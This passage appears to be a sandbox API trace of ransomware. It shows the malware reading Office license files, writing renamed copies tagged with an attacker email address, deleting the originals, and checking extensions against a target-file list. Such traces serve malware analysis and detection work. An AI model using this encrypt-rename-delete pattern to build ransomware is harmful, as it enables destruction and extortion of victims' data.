Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms")) returned 1 [0193.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0193.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0193.932] lstrlenW (lpString=".doc") returned 4 [0193.932] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.932] lstrlenW (lpString=".docx") returned 5 [0193.932] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.932] lstrlenW (lpString=".pdf") returned 4 [0193.932] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.932] lstrlenW (lpString=".xls") returned 4 [0193.932] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.932] lstrlenW (lpString=".xlsx") returned 5 [0193.932] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.932] lstrlenW (lpString=".ppt") returned 4 [0193.932] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0193.932] lstrlenW (lpString=".zip") returned 4 [0193.933] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.933] lstrlenW (lpString=".rar") returned 4 [0193.933] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.933] lstrlenW (lpString=".bz2") returned 4 [0193.933] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.933] lstrlenW (lpString=".7z") returned 3 [0193.933] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0193.933] lstrlenW (lpString=".dbf") returned 4 [0193.933] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0193.933] lstrlenW (lpString=".1cd") returned 4 [0193.933] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0193.933] lstrlenW (lpString=".jpg") returned 4 [0193.933] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0193.934] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=32362) returned 1 [0193.934] CloseHandle (hObject=0x554) returned 1 [0193.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms")) returned 0x220 [0193.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0193.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0193.939] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.939] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0193.941] GetLastError () returned 0x0 [0193.941] ReadFile (in: hFile=0x554, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x7e6a, lpOverlapped=0x0) returned 1 [0193.944] WriteFile (in: hFile=0x374, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x7e70, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x7e70, lpOverlapped=0x0) returned 1 [0193.946] ReadFile (in: hFile=0x554, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0193.946] WriteFile (in: hFile=0x374, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x112, lpOverlapped=0x0) returned 1 [0193.947] SetEndOfFile (hFile=0x374) returned 1 [0193.947] CloseHandle (hObject=0x374) returned 1 [0193.947] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.947] SetEndOfFile (hFile=0x554) returned 1 [0193.951] CloseHandle (hObject=0x554) returned 1 [0193.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0193.952] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms")) returned 1 [0193.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0193.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0193.953] lstrlenW (lpString=".doc") returned 4 [0193.953] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.953] lstrlenW (lpString=".docx") returned 5 [0193.953] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.953] lstrlenW (lpString=".pdf") returned 4 [0193.953] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.953] lstrlenW (lpString=".xls") returned 4 [0193.953] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.953] lstrlenW (lpString=".xlsx") returned 5 [0193.953] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.953] lstrlenW (lpString=".ppt") returned 4 [0193.953] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0193.953] lstrlenW (lpString=".zip") returned 4 [0193.953] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.954] lstrlenW (lpString=".rar") returned 4 [0193.954] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.954] lstrlenW (lpString=".bz2") returned 4 [0193.954] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.954] lstrlenW (lpString=".7z") returned 3 [0193.954] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0193.954] lstrlenW (lpString=".dbf") returned 4 [0193.954] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0193.954] lstrlenW (lpString=".1cd") returned 4 [0193.954] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0193.954] lstrlenW (lpString=".jpg") returned 4 [0193.954] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0193.956] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=11616) returned 1 [0193.956] CloseHandle (hObject=0x554) returned 1 [0193.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms")) returned 0x220 [0193.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0193.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0193.957] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.957] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0194.211] GetLastError () returned 0x0 [0194.211] ReadFile (in: hFile=0x554, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2d60, lpOverlapped=0x0) returned 1 [0194.213] WriteFile (in: hFile=0x374, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2d70, lpOverlapped=0x0) returned 1 [0194.216] ReadFile (in: hFile=0x554, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0194.216] WriteFile (in: hFile=0x374, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x118, lpOverlapped=0x0) returned 1 [0194.216] SetEndOfFile (hFile=0x374) returned 1 [0194.359] CloseHandle (hObject=0x374) returned 1 [0194.359] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.359] SetEndOfFile (hFile=0x554) returned 1 [0195.252] CloseHandle (hObject=0x554) returned 1 [0195.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0195.259] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms")) returned 1 [0195.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0195.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0195.261] lstrlenW (lpString=".doc") returned 4 [0195.261] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.261] lstrlenW (lpString=".docx") returned 5 [0195.261] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.261] lstrlenW (lpString=".pdf") returned 4 [0195.261] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.261] lstrlenW (lpString=".xls") returned 4 [0195.261] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.261] lstrlenW (lpString=".xlsx") returned 5 [0195.261] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.261] lstrlenW (lpString=".ppt") returned 4 [0195.261] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0195.261] lstrlenW (lpString=".zip") returned 4 [0195.261] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.262] lstrlenW (lpString=".rar") returned 4 [0195.262] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.262] lstrlenW (lpString=".bz2") returned 4 [0195.262] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.262] lstrlenW (lpString=".7z") returned 3 [0195.262] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0195.262] lstrlenW (lpString=".dbf") returned 4 [0195.262] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0195.262] lstrlenW (lpString=".1cd") returned 4 [0195.262] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0195.262] lstrlenW (lpString=".jpg") returned 4 [0195.262] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.264] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.264] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0195.265] GetLastError () returned 0x0 [0195.265] ReadFile (in: hFile=0x51c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2d4c, lpOverlapped=0x0) returned 1 [0195.267] WriteFile (in: hFile=0x554, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2d50, lpOverlapped=0x0) returned 1 [0195.269] ReadFile (in: hFile=0x51c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0195.269] WriteFile (in: hFile=0x554, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x10e, lpOverlapped=0x0) returned 1 [0195.269] SetEndOfFile (hFile=0x554) returned 1 [0195.269] CloseHandle (hObject=0x554) returned 1 [0195.269] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.269] SetEndOfFile (hFile=0x51c) returned 1 [0195.273] CloseHandle (hObject=0x51c) returned 1 [0195.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0195.274] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms")) returned 1 [0195.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0195.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0195.275] lstrlenW (lpString=".doc") returned 4 [0195.275] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.275] lstrlenW (lpString=".docx") returned 5 [0195.275] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.275] lstrlenW (lpString=".pdf") returned 4 [0195.275] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.276] lstrlenW (lpString=".xls") returned 4 [0195.276] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.276] lstrlenW (lpString=".xlsx") returned 5 [0195.276] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.276] lstrlenW (lpString=".ppt") returned 4 [0195.276] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0195.276] lstrlenW (lpString=".zip") returned 4 [0195.276] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.276] lstrlenW (lpString=".rar") returned 4 [0195.276] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.276] lstrlenW (lpString=".bz2") returned 4 [0195.276] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.276] lstrlenW (lpString=".7z") returned 3 [0195.276] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0195.276] lstrlenW (lpString=".dbf") returned 4 [0195.276] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0195.276] lstrlenW (lpString=".1cd") returned 4 [0195.276] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0195.276] lstrlenW (lpString=".jpg") returned 4 [0195.277] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.278] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.278] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0195.279] GetLastError () returned 0x0 [0195.280] ReadFile (in: hFile=0x51c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2b93, lpOverlapped=0x0) returned 1 [0195.282] WriteFile (in: hFile=0x554, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0195.283] ReadFile (in: hFile=0x51c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0195.283] WriteFile (in: hFile=0x554, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x108, lpOverlapped=0x0) returned 1 [0195.283] SetEndOfFile (hFile=0x554) returned 1 [0195.283] CloseHandle (hObject=0x554) returned 1 [0195.284] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.284] SetEndOfFile (hFile=0x51c) returned 1 [0195.288] CloseHandle (hObject=0x51c) returned 1 [0195.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0195.289] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms")) returned 1 [0195.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0195.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0195.290] lstrlenW (lpString=".doc") returned 4 [0195.290] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.290] lstrlenW (lpString=".docx") returned 5 [0195.290] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.290] lstrlenW (lpString=".pdf") returned 4 [0195.290] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.290] lstrlenW (lpString=".xls") returned 4 [0195.290] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.290] lstrlenW (lpString=".xlsx") returned 5 [0195.290] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.290] lstrlenW (lpString=".ppt") returned 4 [0195.290] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0195.291] lstrlenW (lpString=".zip") returned 4 [0195.291] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.291] lstrlenW (lpString=".rar") returned 4 [0195.291] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.291] lstrlenW (lpString=".bz2") returned 4 [0195.291] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.291] lstrlenW (lpString=".7z") returned 3 [0195.291] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0195.291] lstrlenW (lpString=".dbf") returned 4 [0195.291] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0195.291] lstrlenW (lpString=".1cd") returned 4 [0195.291] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0195.291] lstrlenW (lpString=".jpg") returned 4 [0195.291] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.292] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.293] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0195.294] GetLastError () returned 0x0 [0195.294] ReadFile (in: hFile=0x51c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x679e, lpOverlapped=0x0) returned 1 [0195.542] WriteFile (in: hFile=0x554, lpBuffer=0x40ca020*, 